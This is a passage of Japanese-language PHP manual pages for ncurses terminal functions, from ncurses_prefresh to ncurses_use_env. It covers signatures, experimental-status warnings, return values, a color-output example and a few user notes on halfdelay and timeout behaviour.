ncurses_prefresh ( resource $pad , int $pminrow , int $pmincol , int $sminrow , int $smincol , int $smaxrow , int $smaxcol ) : int
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

pad

pminrow

pmincol

sminrow

smincol

smaxrow

smaxcol

User Contributed Notes

There are no user contributed notes for this page.


パディング情報を文字列に適用し、それを出力する

  • ≪ ncurses_prefresh
  • ncurses_qiflush ≫
  • PHP Manual
  • Ncurses 関数
  • パディング情報を文字列に適用し、それを出力する

ncurses_putp

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_putp — パディング情報を文字列に適用し、それを出力する

説明

ncurses_putp ( string $text ) : int
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

text

User Contributed Notes

There are no user contributed notes for this page.


シグナル文字のフラッシュを有効とする

  • ≪ ncurses_putp
  • ncurses_raw ≫
  • PHP Manual
  • Ncurses 関数
  • シグナル文字のフラッシュを有効とする

ncurses_qiflush

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_qiflush — シグナル文字のフラッシュを有効とする

説明

ncurses_qiflush ( ) : void
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

User Contributed Notes

There are no user contributed notes for this page.


端末を raw モードに変更する

  • ≪ ncurses_qiflush
  • ncurses_refresh ≫
  • PHP Manual
  • Ncurses 関数
  • 端末を raw モードに変更する

ncurses_raw

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_raw — 端末を raw モードに変更する

説明

ncurses_raw ( ) : bool
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

端末を raw モードに変更します。row モードは cbreak モードと似ており、 タイプされた文字はすぐにプログラムへ渡されます。違う点は、raw モードの場合は 中断 (interrupt)、終了 (quit)、停止 (suspend) およびフロー制御文字もそのまま渡され、シグナルは発生しないということです。

返り値

何らかのエラーが発生した場合に true、 それ以外の場合に false を返します。

参考

  • ncurses_noraw() - 端末を raw モード以外に変更する
  • ncurses_cbreak() - 入力のバッファリングをオフにする
  • ncurses_nocbreak() - 端末を cooked モードに変更する

User Contributed Notes

israelbz at yahoo dot com dot mx 15-Mar-2006 01:15
nc_raw() will reset ncurses_halfdelay():

<?php
  //This don't set the halfdelay mode
  ncurses_halfdelay(9);
  ncurses_raw();
?>

If you want set halfdelay and raw be shure put halfdelay after
raw:

<?php
  //Correct sets the halfdelay mode
  ncurses_raw();
  ncurses_halfdelay(9);
?>


画面をリフレッシュする

  • ≪ ncurses_raw
  • ncurses_replace_panel ≫
  • PHP Manual
  • Ncurses 関数
  • 画面をリフレッシュする

ncurses_refresh

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_refresh — 画面をリフレッシュする

説明

ncurses_refresh ( int $ch ) : int
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

ch

User Contributed Notes

There are no user contributed notes for this page.


パネルに関連付けられたウィンドウを置き換える

  • ≪ ncurses_refresh
  • ncurses_reset_prog_mode ≫
  • PHP Manual
  • Ncurses 関数
  • パネルに関連付けられたウィンドウを置き換える

ncurses_replace_panel

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_replace_panel — パネルに関連付けられたウィンドウを置き換える

説明

ncurses_replace_panel ( resource $panel , resource $window ) : int
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

panel

window

User Contributed Notes

There are no user contributed notes for this page.


def_prog_mode で保存したプログラムモードをリセットする

  • ≪ ncurses_replace_panel
  • ncurses_reset_shell_mode ≫
  • PHP Manual
  • Ncurses 関数
  • def_prog_mode で保存したプログラムモードをリセットする

ncurses_reset_prog_mode

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_reset_prog_mode — def_prog_mode で保存したプログラムモードをリセットする

説明

ncurses_reset_prog_mode ( ) : int
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

User Contributed Notes

There are no user contributed notes for this page.


def_shell_mode で保存したシェルモードをリセットする

  • ≪ ncurses_reset_prog_mode
  • ncurses_resetty ≫
  • PHP Manual
  • Ncurses 関数
  • def_shell_mode で保存したシェルモードをリセットする

ncurses_reset_shell_mode

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_reset_shell_mode — def_shell_mode で保存したシェルモードをリセットする

説明

ncurses_reset_shell_mode ( ) : int
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

User Contributed Notes

There are no user contributed notes for this page.


保存した端末モードに復帰する

  • ≪ ncurses_reset_shell_mode
  • ncurses_savetty ≫
  • PHP Manual
  • Ncurses 関数
  • 保存した端末モードに復帰する

ncurses_resetty

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_resetty — 保存した端末モードに復帰する

説明

ncurses_resetty ( ) : bool
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

事前に ncurses_savetty() をコールすることによって保存しておいた端末モードを復元します。

返り値

常に false を返します。

参考

  • ncurses_savetty() - 端末の状態を保存する

User Contributed Notes

There are no user contributed notes for this page.


端末の状態を保存する

  • ≪ ncurses_resetty
  • ncurses_scr_dump ≫
  • PHP Manual
  • Ncurses 関数
  • 端末の状態を保存する

ncurses_savetty

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_savetty — 端末の状態を保存する

説明

ncurses_savetty ( ) : bool
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

現在の端末の状態を保存します。 保存された状態は、関数 ncurses_resetty() によって復元することが可能です。

返り値

常に false を返します。

参考

  • ncurses_resetty() - 保存した端末モードに復帰する

User Contributed Notes

There are no user contributed notes for this page.


画面の内容をファイルにダンプする

  • ≪ ncurses_savetty
  • ncurses_scr_init ≫
  • PHP Manual
  • Ncurses 関数
  • 画面の内容をファイルにダンプする

ncurses_scr_dump

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_scr_dump — 画面の内容をファイルにダンプする

説明

ncurses_scr_dump ( string $filename ) : int
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

filename

User Contributed Notes

There are no user contributed notes for this page.


ファイルダンプから画面を初期化する

  • ≪ ncurses_scr_dump
  • ncurses_scr_restore ≫
  • PHP Manual
  • Ncurses 関数
  • ファイルダンプから画面を初期化する

ncurses_scr_init

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_scr_init — ファイルダンプから画面を初期化する

説明

ncurses_scr_init ( string $filename ) : int
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

filename

User Contributed Notes

There are no user contributed notes for this page.


ファイルダンプから画面を復帰する

  • ≪ ncurses_scr_init
  • ncurses_scr_set ≫
  • PHP Manual
  • Ncurses 関数
  • ファイルダンプから画面を復帰する

ncurses_scr_restore

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_scr_restore — ファイルダンプから画面を復帰する

説明

ncurses_scr_restore ( string $filename ) : int
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

filename

User Contributed Notes

There are no user contributed notes for this page.


ファイルダンプから画面を継承する

  • ≪ ncurses_scr_restore
  • ncurses_scrl ≫
  • PHP Manual
  • Ncurses 関数
  • ファイルダンプから画面を継承する

ncurses_scr_set

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_scr_set — ファイルダンプから画面を継承する

説明

ncurses_scr_set ( string $filename ) : int
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

filename

User Contributed Notes

There are no user contributed notes for this page.


現在位置を変更せずに画面の内容をスクロールアップまたはダウンする

  • ≪ ncurses_scr_set
  • ncurses_show_panel ≫
  • PHP Manual
  • Ncurses 関数
  • 現在位置を変更せずに画面の内容をスクロールアップまたはダウンする

ncurses_scrl

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_scrl — 現在位置を変更せずに画面の内容をスクロールアップまたはダウンする

説明

ncurses_scrl ( int $count ) : int
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

count

User Contributed Notes

There are no user contributed notes for this page.


不可視のパネルをスタックの最上部に置き、見えるようにする

  • ≪ ncurses_scrl
  • ncurses_slk_attr ≫
  • PHP Manual
  • Ncurses 関数
  • 不可視のパネルをスタックの最上部に置き、見えるようにする

ncurses_show_panel

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_show_panel — 不可視のパネルをスタックの最上部に置き、見えるようにする

説明

ncurses_show_panel ( resource $panel ) : int
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

panel

User Contributed Notes

There are no user contributed notes for this page.


現在のソフトラベルキー属性を返す

  • ≪ ncurses_show_panel
  • ncurses_slk_attroff ≫
  • PHP Manual
  • Ncurses 関数
  • 現在のソフトラベルキー属性を返す

ncurses_slk_attr

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_slk_attr — 現在のソフトラベルキー属性を返す

説明

ncurses_slk_attr ( ) : int
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

現在のソフトラベルキー属性を返します。

返り値

属性を整数値で返します。

User Contributed Notes

There are no user contributed notes for this page.


ソフトファンクションキーラベルの指定した属性を無効にする

  • ≪ ncurses_slk_attr
  • ncurses_slk_attron ≫
  • PHP Manual
  • Ncurses 関数
  • ソフトファンクションキーラベルの指定した属性を無効にする

ncurses_slk_attroff

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_slk_attroff — ソフトファンクションキーラベルの指定した属性を無効にする

説明

ncurses_slk_attroff ( int $intarg ) : int
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

intarg

User Contributed Notes

There are no user contributed notes for this page.


ソフトファンクションキーラベルの指定した属性を有効にする

  • ≪ ncurses_slk_attroff
  • ncurses_slk_attrset ≫
  • PHP Manual
  • Ncurses 関数
  • ソフトファンクションキーラベルの指定した属性を有効にする

ncurses_slk_attron

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_slk_attron — ソフトファンクションキーラベルの指定した属性を有効にする

説明

ncurses_slk_attron ( int $intarg ) : int
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

intarg

User Contributed Notes

There are no user contributed notes for this page.


ソフトファンクションキーラベルに、指定した属性を設定する

  • ≪ ncurses_slk_attron
  • ncurses_slk_clear ≫
  • PHP Manual
  • Ncurses 関数
  • ソフトファンクションキーラベルに、指定した属性を設定する

ncurses_slk_attrset

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_slk_attrset — ソフトファンクションキーラベルに、指定した属性を設定する

説明

ncurses_slk_attrset ( int $intarg ) : int
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

intarg

User Contributed Notes

There are no user contributed notes for this page.


画面からソフトラベルをクリアする

  • ≪ ncurses_slk_attrset
  • ncurses_slk_color ≫
  • PHP Manual
  • Ncurses 関数
  • 画面からソフトラベルをクリアする

ncurses_slk_clear

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_slk_clear — 画面からソフトラベルをクリアする

説明

ncurses_slk_clear ( ) : bool
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

関数 ncurses_slk_clear() は、 画面からソフトラベルキーを消去します。

返り値

エラー時に true、 それ以外の場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


ソフトラベルキーの色を設定する

  • ≪ ncurses_slk_clear
  • ncurses_slk_init ≫
  • PHP Manual
  • Ncurses 関数
  • ソフトラベルキーの色を設定する

ncurses_slk_color

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_slk_color — ソフトラベルキーの色を設定する

説明

ncurses_slk_color ( int $intarg ) : int
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

intarg

User Contributed Notes

There are no user contributed notes for this page.


ソフトラベルキー関数を初期化する

  • ≪ ncurses_slk_color
  • ncurses_slk_noutrefresh ≫
  • PHP Manual
  • Ncurses 関数
  • ソフトラベルキー関数を初期化する

ncurses_slk_init

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_slk_init — ソフトラベルキー関数を初期化する

説明

ncurses_slk_init ( int $format ) : bool
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

ソフトラベルキー関数を初期化します。

この関数は、必ず ncurses_init() あるいは ncurses_newwin() がコールされる前にコールする必要があります。

パラメータ

format

ncurses_init() が、 最終的にソフトラベルをエミュレートするために stdscr からの線を使用する場合、 このパラメータで画面上でのラベルの配置方法を指定します。

0 にするとラベルを 3-2-3 形式に配置し、1 にすると 4-4 形式に配置します。 また 2 にすると PC 風の 4-4-4 形式に配置しますが、それに加えて インデックスラインが作成されます。

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


仮想画面にソフトラベルキーをコピーする

  • ≪ ncurses_slk_init
  • ncurses_slk_refresh ≫
  • PHP Manual
  • Ncurses 関数
  • 仮想画面にソフトラベルキーをコピーする

ncurses_slk_noutrefresh

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_slk_noutrefresh — 仮想画面にソフトラベルキーをコピーする

説明

ncurses_slk_noutrefresh ( ) : bool
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

User Contributed Notes

There are no user contributed notes for this page.


ソフトラベルキーを画面にコピーする

  • ≪ ncurses_slk_noutrefresh
  • ncurses_slk_restore ≫
  • PHP Manual
  • Ncurses 関数
  • ソフトラベルキーを画面にコピーする

ncurses_slk_refresh

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_slk_refresh — ソフトラベルキーを画面にコピーする

説明

ncurses_slk_refresh ( ) : int
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

ソフトラベルキーを仮想画面から実際の画面にコピーします。

User Contributed Notes

There are no user contributed notes for this page.


ソフトラベルキーを復帰する

  • ≪ ncurses_slk_refresh
  • ncurses_slk_set ≫
  • PHP Manual
  • Ncurses 関数
  • ソフトラベルキーを復帰する

ncurses_slk_restore

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_slk_restore — ソフトラベルキーを復帰する

説明

ncurses_slk_restore ( ) : int
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

ncurses_slk_clear() が実行された後に ソフトラベルキーを復元します。

User Contributed Notes

There are no user contributed notes for this page.


ファンクションキーラベルを設定する

  • ≪ ncurses_slk_restore
  • ncurses_slk_touch ≫
  • PHP Manual
  • Ncurses 関数
  • ファンクションキーラベルを設定する

ncurses_slk_set

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_slk_set — ファンクションキーラベルを設定する

説明

ncurses_slk_set ( int $labelnr , string $label , int $format ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

labelnr

label

format

User Contributed Notes

There are no user contributed notes for this page.


ncurses_slk_noutrefresh を実行する際に強制的に出力する

  • ≪ ncurses_slk_set
  • ncurses_standend ≫
  • PHP Manual
  • Ncurses 関数
  • ncurses_slk_noutrefresh を実行する際に強制的に出力する

ncurses_slk_touch

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_slk_touch — ncurses_slk_noutrefresh を実行する際に強制的に出力する

説明

ncurses_slk_touch ( ) : int
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

次に ncurses_slk_noutrefresh() が実行された際に すべてのソフトラベルを強制的に出力するようにします。

User Contributed Notes

There are no user contributed notes for this page.


'standout' 属性の使用を停止する

  • ≪ ncurses_slk_touch
  • ncurses_standout ≫
  • PHP Manual
  • Ncurses 関数
  • 'standout' 属性の使用を停止する

ncurses_standend

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_standend — 'standout' 属性の使用を停止する

説明

ncurses_standend ( ) : int
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

User Contributed Notes

There are no user contributed notes for this page.


'standout' 属性の使用を開始する

  • ≪ ncurses_standend
  • ncurses_start_color ≫
  • PHP Manual
  • Ncurses 関数
  • 'standout' 属性の使用を開始する

ncurses_standout

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_standout — 'standout' 属性の使用を開始する

説明

ncurses_standout ( ) : int
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

User Contributed Notes

There are no user contributed notes for this page.


色機能を初期化する

  • ≪ ncurses_standout
  • ncurses_termattrs ≫
  • PHP Manual
  • Ncurses 関数
  • 色機能を初期化する

ncurses_start_color

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_start_color — 色機能を初期化する

説明

ncurses_start_color ( ) : int

ncurses の色機能を初期化します。この関数は、 ncurses_init() をコールした後で その他の色操作関数をコールする前に実行する必要があります。 ncurses_init() の直後に実行するのがよいでしょう。

パラメータ

この関数にはパラメータはありません。

返り値

成功した場合に 0、 色テーブルの割り当てに失敗した場合や ncurses が初期化されていない場合に -1 を返します。

例

例1 指定した色で文字列を画面に書き込む

<?php
ncurses_init();

// 端末が色をサポートしている場合に、初期化してアクティブな色を設定します
if (ncurses_has_colors()) {
    ncurses_start_color();
    ncurses_init_pair(1, NCURSES_COLOR_YELLOW, NCURSES_COLOR_BLUE);
    ncurses_color_set(1);
}

// 指定した位置に文字列を書き込みます
ncurses_mvaddstr(10, 10, "Hello world! Yellow on blue text!");

// 出力をフラッシュします
ncurses_refresh();

ncurses_end();
?>

参考

  • ncurses_can_change_color() - 端末の色を変更可能かどうか確認する
  • ncurses_has_colors() - カラー端末かどうか確認する

User Contributed Notes

There are no user contributed notes for this page.


端末でサポートされる全ての属性フラグの論理和を返す

  • ≪ ncurses_start_color
  • ncurses_termname ≫
  • PHP Manual
  • Ncurses 関数
  • 端末でサポートされる全ての属性フラグの論理和を返す

ncurses_termattrs

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_termattrs — 端末でサポートされる全ての属性フラグの論理和を返す

説明

ncurses_termattrs ( ) : bool
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

User Contributed Notes

There are no user contributed notes for this page.


端末の(簡略)名を返す

  • ≪ ncurses_termattrs
  • ncurses_timeout ≫
  • PHP Manual
  • Ncurses 関数
  • 端末の(簡略)名を返す

ncurses_termname

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_termname — 端末の(簡略)名を返す

説明

ncurses_termname ( ) : string
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

Returns terminals shortname.

返り値

端末の簡略名を返します。 簡略名は最大 14 文字で切り詰められます。エラー時には null を返します。

参考

  • ncurses_longname() - 端末の説明を返す

User Contributed Notes

There are no user contributed notes for this page.


特別なキーシーケンスのタイムアウトを設定する

  • ≪ ncurses_termname
  • ncurses_top_panel ≫
  • PHP Manual
  • Ncurses 関数
  • 特別なキーシーケンスのタイムアウトを設定する

ncurses_timeout

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_timeout — 特別なキーシーケンスのタイムアウトを設定する

説明

ncurses_timeout ( int $millisec ) : void
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

millisec

User Contributed Notes

sandwyrm 14-Nov-2010 12:03
ncurses_timeout( $value );

$value < 0 -> Block and wait for input indefinitely
$value = 0 -> Non-blocking poll for input
$value > 0 -> Block and wait for input for $value milliseconds


可視パネルをスタックの最上部に移動する

  • ≪ ncurses_timeout
  • ncurses_typeahead ≫
  • PHP Manual
  • Ncurses 関数
  • 可視パネルをスタックの最上部に移動する

ncurses_top_panel

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_top_panel — 可視パネルをスタックの最上部に移動する

説明

ncurses_top_panel ( resource $panel ) : int
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

panel

User Contributed Notes

There are no user contributed notes for this page.


typeahead 確認用に別のファイル記述子を指定する

  • ≪ ncurses_top_panel
  • ncurses_ungetch ≫
  • PHP Manual
  • Ncurses 関数
  • typeahead 確認用に別のファイル記述子を指定する

ncurses_typeahead

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_typeahead — typeahead 確認用に別のファイル記述子を指定する

説明

ncurses_typeahead ( int $fd ) : int
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

fd

User Contributed Notes

There are no user contributed notes for this page.


入力ストリームに 1 文字戻す

  • ≪ ncurses_typeahead
  • ncurses_ungetmouse ≫
  • PHP Manual
  • Ncurses 関数
  • 入力ストリームに 1 文字戻す

ncurses_ungetch

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_ungetch — 入力ストリームに 1 文字戻す

説明

ncurses_ungetch ( int $keycode ) : int
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

keycode

User Contributed Notes

There are no user contributed notes for this page.


マウスイベントをキューにプッシュする

  • ≪ ncurses_ungetch
  • ncurses_update_panels ≫
  • PHP Manual
  • Ncurses 関数
  • マウスイベントをキューにプッシュする

ncurses_ungetmouse

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_ungetmouse — マウスイベントをキューにプッシュする

説明

ncurses_ungetmouse ( array $mevent ) : bool
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

キューに KEY_MOUSE イベントをプッシュし、このイベントを、mevent で指定した状態・画面上の位置座標と関連付けます。

パラメータ

mevent

イベントのオプションを指定する連想配列。

  • "id" : 複数デバイスを識別する ID。

  • "x" : 画面上の相対的な x 位置(文字単位)。

  • "y" : 画面上の相対的な y 位置(文字単位)。

  • "z" : 現在はサポートされていません。

  • "mmask" : マウスアクション

返り値

成功した場合に false、それ以外の場合に true を返します。

参考

  • ncurses_getmouse() - マウスイベントを読みこむ

User Contributed Notes

There are no user contributed notes for this page.


仮想画面を再描画し、スタック内のパネルとの関係を反映させる

  • ≪ ncurses_ungetmouse
  • ncurses_use_default_colors ≫
  • PHP Manual
  • Ncurses 関数
  • 仮想画面を再描画し、スタック内のパネルとの関係を反映させる

ncurses_update_panels

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_update_panels — 仮想画面を再描画し、スタック内のパネルとの関係を反映させる

説明

ncurses_update_panels ( ) : void
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

User Contributed Notes

There are no user contributed notes for this page.


端末のデフォルト色をカラー ID -1 に割り付ける

  • ≪ ncurses_update_panels
  • ncurses_use_env ≫
  • PHP Manual
  • Ncurses 関数
  • 端末のデフォルト色をカラー ID -1 に割り付ける

ncurses_use_default_colors

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_use_default_colors — 端末のデフォルト色をカラー ID -1 に割り付ける

説明

ncurses_use_default_colors ( ) : bool
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

User Contributed Notes

There are no user contributed notes for this page.


端末の大きさに関する環境情報の使用を制御する

  • ≪ ncurses_use_default_colors
  • ncurses_use_extended_names ≫
  • PHP Manual
  • Ncurses 関数
  • 端末の大きさに関する環境情報の使用を制御する

ncurses_use_env

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

